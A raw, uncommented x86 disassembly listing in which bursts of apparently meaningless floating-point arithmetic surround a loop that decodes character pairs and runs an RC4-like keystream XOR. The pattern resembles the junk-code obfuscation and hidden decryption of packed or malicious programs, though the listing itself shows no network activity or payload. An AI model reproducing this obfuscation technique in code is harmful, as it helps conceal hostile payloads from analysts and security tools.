movsd qword [ebp - 0x4920], xmm0
movsd xmm0, qword [ebp - 0x4488]
subsd xmm0, qword [ebp - 0x478c]
movsd qword [ebp - 0x4488], xmm0
movsd xmm0, qword [ebp - 0x4620]
addsd xmm0, qword [ebp - 0x4488]
movsd qword [ebp - 0x4620], xmm0
jmp 0x42f29a
movsd xmm0, qword [ebp - 0x478c]
subsd xmm0, qword [ebp - 0x4628]
movsd qword [ebp - 0x478c], xmm0
movsd xmm0, qword [ebp - 0x4620]
mulsd xmm0, qword [ebp - 0x4488]
movsd qword [ebp - 0x4620], xmm0
movsd xmm0, qword [ebp - 0x4488]
mulsd xmm0, qword [ebp - 0x478c]
movsd qword [ebp - 0x4488], xmm0
movsd xmm0, qword [ebp - 0x4628]
subsd xmm0, qword [ebp - 0x4920]
movsd qword [ebp - 0x4628], xmm0
movsd xmm0, qword [ebp - 0x4488]
addsd xmm0, qword [ebp - 0x478c]
movsd qword [ebp - 0x4488], xmm0
movsd xmm0, qword [ebp - 0x478c]
mulsd xmm0, qword [ebp - 0x4628]
movsd qword [ebp - 0x478c], xmm0
mov edx, dword [ebp - 0x33b0]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c14], eax
mov ecx, dword [ebp - 0x3c10]
add ecx, dword [ebp - 0x3c14]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bb4], edx
mov dword [ebp - 0x3bb8], 0x66
mov eax, dword [ebp - 0x3bac]
sub eax, dword [ebp - 0x3bb0]
mov dword [ebp - 0x3b14], eax
mov ecx, dword [ebp - 0x3bb4]
sub ecx, dword [ebp - 0x3bb8]
mov dword [ebp - 0x3b18], ecx
mov edx, dword [ebp - 0x3b14]
shl edx, 4
mov dword [ebp - 0x3c18], edx
mov eax, dword [ebp - 0x3b18]
mov dword [ebp - 0x3c1c], eax
mov ecx, dword [ebp - 0x3c18]
or ecx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3ce4], ecx
mov dl, byte [ebp - 0x3ce4]
mov byte [ebp - 0x32fb], dl
movzx eax, byte [ebp - 0x32d1]
mov cl, byte [ebp + eax - 0x5fb0]
mov byte [ebp - 0x32f9], cl
movzx edx, byte [ebp - 0x3289]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx ecx, byte [ebp - 0x32a4]
add ecx, eax
mov byte [ebp - 0x32a4], cl
mov dl, byte [ebp - 0x3289]
add dl, 1
mov byte [ebp - 0x3289], dl
movzx eax, byte [ebp - 0x32a4]
movzx ecx, byte [ebp - 0x32d1]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp - 0x32a4]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x3289]
movzx ecx, byte [ebp - 0x32a3]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x3289]
mov cl, byte [ebp - 0x32f9]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x32f9]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx ecx, byte [ebp - 0x32fa]
add ecx, eax
mov byte [ebp - 0x32fa], cl
movzx edx, byte [ebp - 0x32fb]
movzx eax, byte [ebp - 0x32a4]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx eax, byte [ebp - 0x3289]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5fb0]
xor edx, ecx
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx eax, byte [ebp - 0x32d1]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
movzx eax, byte [ebp - 0x32fa]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5fb0]
movzx eax, byte [ebp + ecx - 0x5fb0]
xor edx, eax
mov byte [ebp - 0x32a3], dl
mov cl, byte [ebp - 0x32fb]
mov byte [ebp - 0x32d1], cl
mov dl, byte [ebp - 0x32a3]
mov byte [ebp - 0x3373], dl
cmp dword [ebp - 0x33b0], 0
jle 0x42f497
movsx ax, byte [ebp - 0x3373]
mov ecx, dword [ebp - 0x33b0]
mov word [ebp + ecx*2 - 0x2e], ax
mov edx, dword [ebp - 0x36e8]
add edx, 1
mov dword [ebp - 0x36e8], edx
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x4bd8], eax
jmp 0x42f4c6
mov ecx, dword [ebp - 0x4bd8]
add ecx, 1
mov dword [ebp - 0x4bd8], ecx
mov edx, dword [ebp - 0x4bd8]
cmp edx, dword [ebp - 0x36e8]
jge 0x42fa20
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3c0c], ecx
mov edx, dword [ebp - 0x3c10]
add edx, dword [ebp - 0x3c0c]
movzx eax, byte [edx]
mov dword [ebp - 0x3bac], eax
mov dword [ebp - 0x3bb0], 0xdc
mov ecx, dword [ebp - 0x33b0]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3c14], edx
mov eax, dword [ebp - 0x3c10]
add eax, dword [ebp - 0x3c14]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bb4], ecx
mov dword [ebp - 0x3bb8], 0x66
mov edx, dword [ebp - 0x3bac]
sub edx, dword [ebp - 0x3bb0]
mov dword [ebp - 0x3b14], edx
mov eax, dword [ebp - 0x3bb4]
sub eax, dword [ebp - 0x3bb8]
mov dword [ebp - 0x3b18], eax
mov ecx, dword [ebp - 0x3b14]
shl ecx, 4
mov dword [ebp - 0x3c18], ecx
mov edx, dword [ebp - 0x3b18]
mov dword [ebp - 0x3c1c], edx
mov eax, dword [ebp - 0x3c18]
or eax, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3ce4], eax
mov cl, byte [ebp - 0x3ce4]
mov byte [ebp - 0x32fb], cl
movsd xmm0, qword [0xa66f10]
movsd qword [ebp - 0x3f18], xmm0
movsd xmm0, qword [0xa66ce8]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [0xa669f0]
movsd qword [ebp - 0x3b64], xmm0
movsd xmm0, qword [ebp - 0x3f18]
subsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3f18], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
mulsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
subsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3b64]
comisd xmm0, xmmword [ebp - 0x3b5c]
jbe 0x42f854
movsd xmm0, qword [ebp - 0x3b5c]
subsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3b64]
addsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b64], xmm0
movsd xmm0, qword [ebp - 0x3b64]
addsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b64], xmm0
movsd xmm0, qword [ebp - 0x3b64]
addsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b64], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
addsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
mulsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
comisd xmm0, xmmword [ebp - 0x3f18]
jbe 0x42f80a
movsd xmm0, qword [ebp - 0x3f18]
subsd xmm0, qword [ebp - 0x3b5c]
movsd qword [ebp - 0x3f18], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
mulsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3f18]
divsd xmm0, qword [ebp - 0x3b5c]
movsd qword [ebp - 0x3f18], xmm0
movsd xmm0, qword [ebp - 0x3b64]
divsd xmm0, qword [ebp - 0x3b5c]
movsd qword [ebp - 0x3b64], xmm0
movsd xmm0, qword [ebp - 0x3b64]
subsd xmm0, qword [ebp - 0x3b5c]
movsd qword [ebp - 0x3b64], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
divsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
comisd xmm0, xmmword [ebp - 0x3f18]
jbe 0x42f7c0
movsd xmm0, qword [ebp - 0x3f18]
mulsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3f18], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
divsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3b64]
mulsd xmm0, qword [ebp - 0x3b5c]
movsd qword [ebp - 0x3b64], xmm0
jmp 0x42f808
movsd xmm0, qword [ebp - 0x3b64]
addsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b64], xmm0
movsd xmm0, qword [ebp - 0x3b5c]
mulsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3b64]
mulsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b64], xmm0
jmp 0x42f852
movsd xmm0, qword [ebp - 0x3b5c]
mulsd xmm0, qword [ebp - 0x3b64]
movsd qword [ebp - 0x3b5c], xmm0
movsd xmm0, qword [ebp - 0x3f18]
subsd xmm0, qword [ebp - 0x3b5c]
movsd qword [ebp - 0x3f18], xmm0
movsd xmm0, qword [ebp - 0x3f18]
divsd xmm0, qword [ebp - 0x3b5c]
movsd qword [ebp - 0x3f18], xmm0
jmp 0x42f8b0
movsd xmm0, qword [ebp - 0x3f18]
addsd xmm0, qword [ebp - 0x3b5c]
movsd qword [ebp - 0x3f18], xmm0
movsd xmm0, qword [ebp - 0x3b64]
subsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b64], xmm0
movsd xmm0, qword [ebp - 0x3b64]
subsd xmm0, qword [ebp - 0x3f18]
movsd qword [ebp - 0x3b64], xmm0
movzx edx, byte [ebp - 0x32d1]
mov al, byte [ebp + edx - 0x5fb0]
mov byte [ebp - 0x32f9], al
movzx ecx, byte [ebp - 0x3289]
movzx edx, byte [ebp + ecx - 0x5fb0]
movzx eax, byte [ebp - 0x32a4]
add eax, edx
mov byte [ebp - 0x32a4], al
mov cl, byte [ebp - 0x3289]
add cl, 1
mov byte [ebp - 0x3289], cl
movzx edx, byte [ebp - 0x32a4]
movzx eax, byte [ebp - 0x32d1]
mov cl, byte [ebp + edx - 0x5fb0]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x32a3]
movzx eax, byte [ebp - 0x32a4]
mov cl, byte [ebp + edx - 0x5fb0]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x3289]
movzx eax, byte [ebp - 0x32a3]
mov cl, byte [ebp + edx - 0x5fb0]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x3289]
mov al, byte [ebp - 0x32f9]
mov byte [ebp + edx - 0x5fb0], al
movzx ecx, byte [ebp - 0x32f9]
movzx edx, byte [ebp + ecx - 0x5fb0]
movzx eax, byte [ebp - 0x32fa]
add eax, edx
mov byte [ebp - 0x32fa], al
movzx ecx, byte [ebp - 0x32fb]
movzx edx, byte [ebp - 0x32a4]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx edx, byte [ebp - 0x3289]
movzx edx, byte [ebp + edx - 0x5fb0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5fb0]
xor ecx, eax
movzx edx, byte [ebp - 0x32a3]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx edx, byte [ebp - 0x32d1]
movzx edx, byte [ebp + edx - 0x5fb0]
add eax, edx
movzx edx, byte [ebp - 0x32fa]
movzx edx, byte [ebp + edx - 0x5fb0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5fb0]
movzx edx, byte [ebp + eax - 0x5fb0]
xor ecx, edx
mov byte [ebp - 0x32a3], cl
mov al, byte [ebp - 0x32fb]
mov byte [ebp - 0x32d1], al
mov cl, byte [ebp - 0x32a3]
mov byte [ebp - 0x3373], cl
cmp dword [ebp - 0x33b0], 0
jle 0x42fa1b
movsx dx, byte [ebp - 0x3373]
mov eax, dword [ebp - 0x33b0]
mov word [ebp + eax*2 - 0x2e], dx
jmp 0x42f4b7
mov ecx, dword [ebp - 0x36e8]
add ecx, 1
mov dword [ebp - 0x36e8], ecx
mov edx, dword [ebp - 0x33b0]
add edx, 1
mov dword [ebp - 0x33b0], edx
mov eax, dword [ebp - 0x36e8]
add eax, 1
mov dword [ebp - 0x36e8], eax
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3c0c], ecx
mov edx, dword [ebp - 0x3c10]
add edx, dword [ebp - 0x3c0c]
movzx eax, byte [edx]
mov dword [ebp - 0x3bac], eax
mov dword [ebp - 0x3bb0], 0xdc
mov ecx, dword [ebp - 0x33b0]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3c14], edx
mov eax, dword [ebp - 0x3c10]
add eax, dword [ebp - 0x3c14]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bb4], ecx
mov dword [ebp - 0x3bb8], 0x66
mov edx, dword [ebp - 0x3bac]
sub edx, dword [ebp - 0x3bb0]
mov dword [ebp - 0x3b14], edx
mov eax, dword [ebp - 0x3bb4]
sub eax, dword [ebp - 0x3bb8]
mov dword [ebp - 0x3b18], eax
mov ecx, dword [ebp - 0x3b14]
shl ecx, 4
mov dword [ebp - 0x3c18], ecx
mov edx, dword [ebp - 0x3b18]
mov dword [ebp - 0x3c1c], edx
mov eax, dword [ebp - 0x3c18]
or eax, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3ce4], eax
mov cl, byte [ebp - 0x3ce4]
mov byte [ebp - 0x32fb], cl
movzx edx, byte [ebp - 0x32d1]
mov al, byte [ebp + edx - 0x5fb0]
mov byte [ebp - 0x32f9], al
movzx ecx, byte [ebp - 0x3289]
movzx edx, byte [ebp + ecx - 0x5fb0]
movzx eax, byte [ebp - 0x32a4]
add eax, edx
mov byte [ebp - 0x32a4], al
mov cl, byte [ebp - 0x3289]
add cl, 1
mov byte [ebp - 0x3289], cl
movzx edx, byte [ebp - 0x32a4]
movzx eax, byte [ebp - 0x32d1]
mov cl, byte [ebp + edx - 0x5fb0]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x32a3]
movzx eax, byte [ebp - 0x32a4]
mov cl, byte [ebp + edx - 0x5fb0]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x3289]
movzx eax, byte [ebp - 0x32a3]
mov cl, byte [ebp + edx - 0x5fb0]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x3289]
mov al, byte [ebp - 0x32f9]
mov byte [ebp + edx - 0x5fb0], al
movzx ecx, byte [ebp - 0x32f9]
movzx edx, byte [ebp + ecx - 0x5fb0]
movzx eax, byte [ebp - 0x32fa]
add eax, edx
mov byte [ebp - 0x32fa], al
movzx ecx, byte [ebp - 0x32fb]
movzx edx, byte [ebp - 0x32a4]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx edx, byte [ebp - 0x3289]
movzx edx, byte [ebp + edx - 0x5fb0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5fb0]
xor ecx, eax
movzx edx, byte [ebp - 0x32a3]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx edx, byte [ebp - 0x32d1]
movzx edx, byte [ebp + edx - 0x5fb0]
add eax, edx
movzx edx, byte [ebp - 0x32fa]
movzx edx, byte [ebp + edx - 0x5fb0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5fb0]
movzx edx, byte [ebp + eax - 0x5fb0]
xor ecx, edx
mov byte [ebp - 0x32a3], cl
mov al, byte [ebp - 0x32fb]
mov byte [ebp - 0x32d1], al
mov cl, byte [ebp - 0x32a3]
mov byte [ebp - 0x3373], cl
cmp dword [ebp - 0x33b0], 0
jle 0x42fc85
movsx dx, byte [ebp - 0x3373]
mov eax, dword [ebp - 0x33b0]
mov word [ebp + eax*2 - 0x2e], dx
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x33b0], ecx
mov edx, dword [ebp - 0x36e8]
add edx, 1
mov dword [ebp - 0x36e8], edx
mov eax, dword [ebp - 0x33b0]
shl eax, 1
mov dword [ebp - 0x3c0c], eax
mov ecx, dword [ebp - 0x3c10]
add ecx, dword [ebp - 0x3c0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bac], edx
mov dword [ebp - 0x3bb0], 0xdc
mov eax, dword [ebp - 0x33b0]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3c14], ecx
mov edx, dword [ebp - 0x3c10]
add edx, dword [ebp - 0x3c14]
movzx eax, byte [edx]
mov dword [ebp - 0x3bb4], eax
mov dword [ebp - 0x3bb8], 0x66
mov ecx, dword [ebp - 0x3bac]
sub ecx, dword [ebp - 0x3bb0]
mov dword [ebp - 0x3b14], ecx
mov edx, dword [ebp - 0x3bb4]
sub edx, dword [ebp - 0x3bb8]
mov dword [ebp - 0x3b18], edx
mov eax, dword [ebp - 0x3b14]
shl eax, 4
mov dword [ebp - 0x3c18], eax
mov ecx, dword [ebp - 0x3b18]
mov dword [ebp - 0x3c1c], ecx
mov edx, dword [ebp - 0x3c18]
or edx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3ce4], edx
mov al, byte [ebp - 0x3ce4]
mov byte [ebp - 0x32fb], al
movzx ecx, byte [ebp - 0x32d1]
mov dl, byte [ebp + ecx - 0x5fb0]
mov byte [ebp - 0x32f9], dl
movzx eax, byte [ebp - 0x3289]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx edx, byte [ebp - 0x32a4]
add edx, ecx
mov byte [ebp - 0x32a4], dl
mov al, byte [ebp - 0x3289]
add al, 1
mov byte [ebp - 0x3289], al
movzx ecx, byte [ebp - 0x32a4]
movzx edx, byte [ebp - 0x32d1]
mov al, byte [ebp + ecx - 0x5fb0]
mov byte [ebp + edx - 0x5fb0], al
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp - 0x32a4]
mov al, byte [ebp + ecx - 0x5fb0]
mov byte [ebp + edx - 0x5fb0], al
movzx ecx, byte [ebp - 0x3289]
movzx edx, byte [ebp - 0x32a3]
mov al, byte [ebp + ecx - 0x5fb0]
mov byte [ebp + edx - 0x5fb0], al
movzx ecx, byte [ebp - 0x3289]
mov dl, byte [ebp - 0x32f9]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x32f9]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx edx, byte [ebp - 0x32fa]
add edx, ecx
mov byte [ebp - 0x32fa], dl
movsd xmm0, qword [0xa66e50]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [0xa66c78]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [0xa66ab8]
movsd qword [ebp - 0x3f30], xmm0
movsd xmm0, qword [0xa66838]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3e18]
addsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
subsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
mulsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
mulsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3a58]
comisd xmm0, xmmword [ebp - 0x3b6c]
jbe 0x4301a9
movsd xmm0, qword [ebp - 0x3b6c]
subsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3e18]
mulsd xmm0, qword [ebp - 0x3f30]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [ebp - 0x3e18]
divsd xmm0, qword [ebp - 0x3f30]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [ebp - 0x3f30]
subsd xmm0, qword [ebp - 0x3e18]
movsd qword [ebp - 0x3f30], xmm0
movsd xmm0, qword [ebp - 0x3e18]
addsd xmm0, qword [ebp - 0x3f30]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [ebp - 0x3f30]
mulsd xmm0, qword [ebp - 0x3e18]
movsd qword [ebp - 0x3f30], xmm0
movsd xmm0, qword [ebp - 0x3f30]
mulsd xmm0, qword [ebp - 0x3e18]
movsd qword [ebp - 0x3f30], xmm0
movsd xmm0, qword [ebp - 0x3a58]
divsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
comisd xmm0, xmmword [ebp - 0x3a58]
jbe 0x430144
movsd xmm0, qword [ebp - 0x3a58]
divsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3e18]
subsd xmm0, qword [ebp - 0x3f30]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [ebp - 0x3a58]
mulsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
addsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3a58]
divsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3a58]
divsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
divsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3a58]
subsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
comisd xmm0, xmmword [ebp - 0x3a58]
jbe 0x4300e2
movsd xmm0, qword [ebp - 0x3b6c]
subsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3f30]
addsd xmm0, qword [ebp - 0x3e18]
movsd qword [ebp - 0x3f30], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
addsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3a58]
addsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
jmp 0x430142
movsd xmm0, qword [ebp - 0x3f30]
mulsd xmm0, qword [ebp - 0x3e18]
movsd qword [ebp - 0x3f30], xmm0
movsd xmm0, qword [ebp - 0x3a58]
subsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3e18]
addsd xmm0, qword [ebp - 0x3f30]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [ebp - 0x3a58]
addsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
jmp 0x4301a4
movsd xmm0, qword [ebp - 0x3e18]
addsd xmm0, qword [ebp - 0x3f30]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [ebp - 0x3e18]
mulsd xmm0, qword [ebp - 0x3f30]
movsd qword [ebp - 0x3e18], xmm0
movsd xmm0, qword [ebp - 0x3f30]
addsd xmm0, qword [ebp - 0x3e18]
movsd qword [ebp - 0x3f30], xmm0
movsd xmm0, qword [ebp - 0x3e18]
subsd xmm0, qword [ebp - 0x3f30]
movsd qword [ebp - 0x3e18], xmm0
jmp 0x43028f
movsd xmm0, qword [ebp - 0x3f30]
mulsd xmm0, qword [ebp - 0x3e18]
movsd qword [ebp - 0x3f30], xmm0
movsd xmm0, qword [ebp - 0x3b6c]
subsd xmm0, qword [ebp - 0x3a58]
movsd qword [ebp - 0x3b6c], xmm0
movsd xmm0, qword [ebp - 0x3a58]
subsd xmm0, qword [ebp - 0x3b6c]
movsd qword [ebp - 0x3a58], xmm0
movsd xmm0, qword [ebp - 0x3f30]
addsd xmm0, qword [ebp - 0x3e18]
movsd qword [ebp - 0x3f30], xmm0
movzx eax, byte [ebp - 0x32fb]
movzx ecx, byte [ebp - 0x32a4]
movzx edx, byte [ebp + ecx - 0x5fb0]
movzx ecx, byte [ebp - 0x3289]
movzx ecx, byte [ebp + ecx - 0x5fb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5fb0]
xor eax, edx
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp + ecx - 0x5fb0]
movzx ecx, byte [ebp - 0x32d1]
movzx ecx, byte [ebp + ecx - 0x5fb0]
add edx, ecx
movzx ecx, byte [ebp - 0x32fa]
movzx ecx, byte [ebp + ecx - 0x5fb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5fb0]
movzx ecx, byte [ebp + edx - 0x5fb0]
xor eax, ecx
mov byte [ebp - 0x32a3], al
mov dl, byte [ebp - 0x32fb]
mov byte [ebp - 0x32d1], dl
mov al, byte [ebp - 0x32a3]
mov byte [ebp - 0x3373], al
cmp dword [ebp - 0x33b0], 0
jle 0x4302c3
movsx cx, byte [ebp - 0x3373]
mov edx, dword [ebp - 0x33b0]
mov word [ebp + edx*2 - 0x2e], cx
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x36e8]
add ecx, 1
mov dword [ebp - 0x36e8], ecx
mov edx, dword [ebp - 0x33b0]
shl edx, 1
mov dword [ebp - 0x3c0c], edx
mov eax, dword [ebp - 0x3c10]
add eax, dword [ebp - 0x3c0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bac], ecx
mov dword [ebp - 0x3bb0], 0xdc
mov edx, dword [ebp - 0x33b0]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c14], eax
mov ecx, dword [ebp - 0x3c10]
add ecx, dword [ebp - 0x3c14]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bb4], edx
mov dword [ebp - 0x3bb8], 0x66
mov eax, dword [ebp - 0x3bac]
sub eax, dword [ebp - 0x3bb0]
mov dword [ebp - 0x3b14], eax
mov ecx, dword [ebp - 0x3bb4]
sub ecx, dword [ebp - 0x3bb8]
mov dword [ebp - 0x3b18], ecx
mov edx, dword [ebp - 0x3b14]
shl edx, 4
mov dword [ebp - 0x3c18], edx
mov eax, dword [ebp - 0x3b18]
mov dword [ebp - 0x3c1c], eax
mov ecx, dword [ebp - 0x3c18]
or ecx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3ce4], ecx
mov dl, byte [ebp - 0x3ce4]
mov byte [ebp - 0x32fb], dl
movzx eax, byte [ebp - 0x32d1]
mov cl, byte [ebp + eax - 0x5fb0]
mov byte [ebp - 0x32f9], cl
movzx edx, byte [ebp - 0x3289]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx ecx, byte [ebp - 0x32a4]
add ecx, eax
mov byte [ebp - 0x32a4], cl
mov dl, byte [ebp - 0x3289]
add dl, 1
mov byte [ebp - 0x3289], dl
movsd xmm0, qword [0xa66c50]
movsd qword [ebp - 0x4794], xmm0
movsd xmm0, qword [0xa66b80]
movsd qword [ebp - 0x4930], xmm0
movsd xmm0, qword [0xa66aa0]
movsd qword [ebp - 0x4928], xmm0
movsd xmm0, qword [0xa66998]
movsd qword [ebp - 0x4d7c], xmm0
movsd xmm0, qword [0xa66820]
movsd qword [ebp - 0x4b6c], xmm0
movsd xmm0, qword [0xa666d8]
movsd qword [ebp - 0x43b0], xmm0
movsd xmm0, qword [ebp - 0x4928]
mulsd xmm0, qword [ebp - 0x43b0]
movsd qword [ebp - 0x4928], xmm0
movsd xmm0, qword [ebp - 0x4930]
subsd xmm0, qword [ebp - 0x43b0]
movsd qword [ebp - 0x4930], xmm0
movsd xmm0, qword [ebp - 0x4794]
addsd xmm0, qword [ebp - 0x43b0]
movsd qword [ebp - 0x4794], xmm0
movsd xmm0, qword [ebp - 0x4928]
addsd xmm0, qword [ebp - 0x43b0]
movsd qword [ebp - 0x4928], xmm0
movsd xmm0, qword [ebp - 0x4b6c]
addsd xmm0, qword [ebp - 0x43b0]
movsd qword [ebp - 0x4b6c], xmm0
movsd xmm0, qword [ebp - 0x4d7c]
addsd xmm0, qword [ebp - 0x43b0]
movsd qword [ebp - 0x4d7c], xmm0
movsd xmm0, qword [ebp - 0x4928]
comisd xmm0, xmmword [ebp - 0x43b0]
jbe 0x430592
movsd xmm0, qword [ebp - 0x4b6c]
subsd xmm0, qword [ebp - 0x4794]
movsd qword [ebp - 0x4b6c], xmm0
movsd xmm0, qword [ebp - 0x4794]
mulsd xmm0, qword [ebp - 0x4928]
movsd qword [ebp - 0x4794], xmm0
movsd xmm0, qword [ebp - 0x4d7c]
